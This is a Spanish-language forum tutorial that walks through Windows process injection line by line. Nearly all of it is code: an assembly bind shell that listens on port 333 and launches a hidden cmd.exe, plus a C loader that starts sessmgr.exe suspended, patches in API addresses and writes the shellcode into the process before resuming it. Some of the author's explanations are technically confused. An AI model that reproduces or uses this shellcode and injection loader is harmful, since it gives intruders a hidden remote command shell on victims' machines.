

Inyectando código a un Servicio de Windows

Por SirDarckCat: sirdarekcat [at] gmail [.] com

<http://foro.elhacker.net/index.php/topic,109365.msg507867.html#msg507867>

Bueno, empiezo por explicar el shellcode en asm. (injcode())

Código:

```
__asm{
call over
```

esto realmente llama a:

Código:

```
over:
pop eax
mov code,eax
```

que lo que hace es meter la dirección de la pila en EAX, y después meterlo en la variable code

Código:

```
push '23'
push '_2sw'
push esp
```

metemos en la pila (como es FIFO{First In First Out}, se mete todo al revés), la dirección de el tope de la pila y "ws2_32"

Código:

```
mov eax,0x11111111
call eax
```

metemos en eax, la dirección 0x11111111, y después la llamamos.

NOTA: 0x11111111, después se convierte en la función: "loadlibrarya", por lo que realmente estamos haciendo que

se cargue en la memoria la librería "ws2_32" (winsock2_32bits)

Código:

```
xor ebx,ebx
push 0x64
pop ecx
```

hacemos que ebx sea = a 0, al usar la instrucción XOR EBX,EBX.

XOR da 1 cuando los valores son diferentes, como EBX = EBX, regresa 0.

es equivalente a poner MOV EBX,0, pero ocupa menos espacio.

metemos en la pila 0x64 , y la metemos en ECX

Código:

```
wsadata:
push ebx
loop wsadata
```

La función wsadata,

metemos EBX en la pila (la primera vez vale 0, recuerdas?)

y se crea un loop hasta que ECX sea igual a 0.

recuerda que ECX vale 64.

en otras palabras esto mete en la pila 64 veces un 0.

Código:

```
push esp
push 0x101
mov eax,0x33333333
call eax
```

esto mete en la pila el valor de ESP, después mete 101, y llama a 0x33333333 (que es wsastartup)

en otras palabras, llama a la función wsastartup, con 101 en el primer parámetro, y la dirección del

principio de la pila en el segundo..
Explico como funciona WSASTARTUP.

Código:

```
WSAStartup( wVersionRequested, &wsaData );
```

&wsaData es un puntero a una estructura que recibe el socket.
VersionRequested, Versión Requerida.. es 0x101

Código:

```
push ebx  
push ebx  
push ebx  
push ebx  
push SOCK_STREAM  
push AF_INET  
mov eax,0x44444444  
call eax
```

Aquí metemos 4 veces 0, después la constante SOCK_STREAM, seguido de AF_INET.
y llamamos a 0x44444444 (wsasocketa) que sirve para crear el socket.
los valores que le envías son constante que especifican el tipo de conexión y a donde va.
puedes encontrar info. sobre esto aquí: http://msdn.microsoft.com/library/en-us/winsock/winsock/wsasocket_2.asp
info. de AF_INET: <http://www.xav.com/perl/lib/IO/Socket/INET.html>

Código:

```
mov esi,eax  
push ebx  
push ebx  
push ebx  
push 0x4D010002 /*port 333*/  
mov eax,esp  
push 0x10  
push eax  
push esi  
mov eax,0x55555555  
call eax
```

metemos en ESI el valor de EAX, metemos 3 veces 0, y 0x4D010002 (especifica el puerto 333)
metemos en eax el valor de ESP, metemos 0x10, metemos el valor de EAX (=ESP),
después ESI(=WSASOCKETA)
y llamamos a _BIND (0x55555555),
bind funciona así:

Código:

```
push SOMAXCONN  
push esi  
mov eax,0x66666666  
call eax
```

metemos en la pila la constante SOMAXCONN (SOcket MAX CONNections)
y el valor de ESI(WSASOCKETA)
y llamamos a la función en 0x66666666 (listen), que deja a la escucha.

Código:

```
push ebx  
push ebx  
push esi  
mov eax,0x77777777  
call eax
```

metemos 2 veces 0, el valor de WSASOCKETA y llamamos a accept, para que.. acepte conexiones xD

Ahora un poco mas lento.

Código:

```
mov edi,eax
push ebx
push ebx
push ebx
push ebx
```

metemos en EDI el valor de EAX (0x77777777)
metemos 4 veces 0.

Código:

```
mov eax,esp
push edi
push edi
push edi
push ebx
push SW_HIDE
push STARTF_USESTDHANDLES
push 0xA
pop ecx
```

metemos en EAX el valor de ESP, y 3 veces 0x77777777, seguido de un 0.
metemos SW_HIDE (constante que especifica el valor de proceso en background)
metemos STARTF_USESTDHANDLES (Iniciamos usando Handles)
metemos 0xA (A = 10), para después sacarlo en POP ECX, y hacer que ECX valga 10

Código:

```
startupinfo:
push ebx
loop startupinfo
push 0x44
mov ecx,esp
push 'dmc'
mov edx, esp
```

metemos 10 veces 0.
metemos 44.
ponemos en ECX el valor de ESP.
metemos "CMD"
y en EDX el valor de la pila.
esto sirve para delimitar donde esta escrito "CMD" empieza en ECX y acaba en EDX (o es alreves?)

Código:

```
push eax
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push edx
push ebx
```

metemos en la pila EAX,(=ESP, 2 secciones arriba)
metemos ECX (=ESP, seccion anterior) QUE DELIMITAN
metemos 3*EBX,1,2*EBX,EDX,EBX (=ESP, seccion anterior)
donde dice "CMD", (es el programa que se manda ejecutar).

Código:

```
mov eax,0x22222222
call eax
```

y llamamos a la función 0x22222222 (create process, que recibe todos los parámetros.)

Código:

```
push INFINITE
mov eax,0x88888888
call eax
```

ah si, y ponemos a dormir a la computadora hasta infinito. xD

Código:

```
over:
pop eax
mov code,eax
}
```

La función over, que se usó al principio, alguien sabe porque esta aquí? 🤔

Bueno, ahora otras secciones del código.

Código:

```
HMODULE ws2_32;
DWORD
_loadlibrarya,_createprocessa,_wsastartup,_wsasocketa,_bind,_listen,_accept,_sleep;
char *code;
int len;
ws2_32=LoadLibrary("ws2_32");
_loadlibrarya=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"LoadLibraryA");
_createprocessa=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"CreateProcessA");
_sleep=(DWORD)GetProcAddress(GetModuleHandle("kernel32"),"Sleep");
_wsastartup=(DWORD)GetProcAddress(ws2_32,"WSAStartup");
_wsasocketa=(DWORD)GetProcAddress(ws2_32,"WSASocketA");
_bind=(DWORD)GetProcAddress(ws2_32,"bind");
_listen=(DWORD)GetProcAddress(ws2_32,"listen");
_accept=(DWORD)GetProcAddress(ws2_32,"accept");
```

metemos ahí, las direcciones de las debidas funciones.

Código:

```
len=0xA0;
memcpy(buffer,code,len);
setfp(buffer,len,0x11111111,_loadlibrarya);
setfp(buffer,len,0x22222222,_createprocessa);
setfp(buffer,len,0x33333333,_wsastartup);
setfp(buffer,len,0x44444444,_wsasocketa);
setfp(buffer,len,0x55555555,_bind);
setfp(buffer,len,0x66666666,_listen);
setfp(buffer,len,0x77777777,_accept);
setfp(buffer,len,0x88888888,_sleep);
```

y le damos una ayuda al shellcode, para que identifique donde están las funciones.

la funcion setfp es esta:

Código:

```
void setfp(char *buffer,int sz,DWORD from,DWORD fp)
{
int i;
for(i=0;i<sz-5;i++)
if (buffer[i]=='\xb8'&&*(DWORD*)(buffer+i+1)==from)
{*(DWORD*)(buffer+i+1)=fp;break;}
}
```

buffer es lo que vamos a meter después..

fp es la dirección real de la funcion, from es la que vamos a asignar, sz es 160 (A0h)

Ahora vamos por main()

Código:

```
DECLARAMOS VARIABLES, CONSTANTES, ETC..
```

Código:

```
GetSystemDirectory(sessmgr,MAX_PATH);  
sessmgr[MAX_PATH]=0;  
strcat(sessmgr,"\\sessmgr.exe");  
memset(&sinfo,0,sizeof(sinfo));  
sinfo.cb=sizeof(sinfo);
```



veamos..

Código:

```
char sessmgr[MAX_PATH+13];  
como vemos, sessmgr vale M_P+13  
y acá le asignamos..
```

Código:

```
GetSystemDirectory(sessmgr,MAX_PATH);
```

solo hasta M_P.

Código:

```
sessmgr[MAX_PATH]=0;
```

despues metemos un 0 (fin de cadena).

Código:

```
strcat(sessmgr,"\\sessmgr.exe");
```

y agregamos \\sessmgr.exe en otras palabras, diremos que se ejecute sinfo, sin hacerlo realmente xD.

Código:

```
memset(&sinfo,0,sizeof(sinfo));  
sinfo.cb=sizeof(sinfo);
```

Establecemos memoria para sinfo.. que se usa cuando creas el proceso.

Código:

```
if  
(!CreateProcess(sessmgr,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&sinfo,&  
pinfo))  
printf("createprocess failed"), exit(1);
```

Creamos el proceso, si falla, cerramos.

Código:

```
context.ContextFlags=CONTEXT_FULL;  
GetThreadContext(pinfo.hThread,&context);  
GetThreadSelectorEntry(pinfo.hThread,context.SegFs,&sel);  
tib=sel.BaseLow|(sel.HighWord.Bytes.BaseMid<<16)|(sel.HighWord.Bytes.BaseHi<<24);  
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read);  
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(peb+0x08),&exebase,4,&read);
```

Establecemos control sobre todo el contexto.

Obtenemos el del proceso que inicializamos con sessmgr

Buscamos el inicio de la tarea del proceso

tib sera true si:

existe sel.BaseLow y es diferente a 0

o si..

sel.HighWord.Bytes.BaseMid es menor que 16

o si..

sel.HighWord.Bytes.BaseHi es menor que 24

Despues leemos la memoria del proceso, que recién inicializamos.. asi

Código:

```
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read);  
ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+peoffs),&pehdr,sizeof(pehdr),&  
read);
```

y después lo mismo, pero con los valores que habíamos recibido anteriormente.

ReadProcessMemory funciona así:

Citar

```
BOOL ReadProcessMemory(  
    HANDLE hProcess,  
    LPCVOID lpBaseAddress,  
    LPVOID lpBuffer,  
    SIZE_T nSize,  
    SIZE_T* lpNumberOfBytesRead  
);
```

- Recibe un Handle con la propiedad hProcess del Processinfo
- Recibe un puntero a la dirección de la base del Proceso.
- Recibe un puntero donde escribir el contenido de la dirección especificada
- Recibe la cantidad de bytes a leer
- Y un puntero a una variable donde se escriben la cantidad de bytes leídos (opcional)

Código:

```
len=injcode(buffer);  
VirtualProtect((LPVOID)ep, len, PAGE_EXECUTE_READWRITE, &read);  
WriteProcessMemory(pinfo.hProcess, (LPVOID)ep, buffer, len, &read);  
  
ResumeThread(pinfo.hThread);  
}
```

Metemos en len la longitud, y en buffer el código a inyectar.

Permitimos escribir en la memoria del proceso..

Y escribimos en la memoria del proceso nuestro código.

para acabar, Iniciamos el proceso (recuerda que lo iniciamos suspendido)

y tenemos nuestra shellcode 🤖

ah que interesante exploit 🤖, enserio que el que descubrió esto es el mejor 🤖

Saludos!!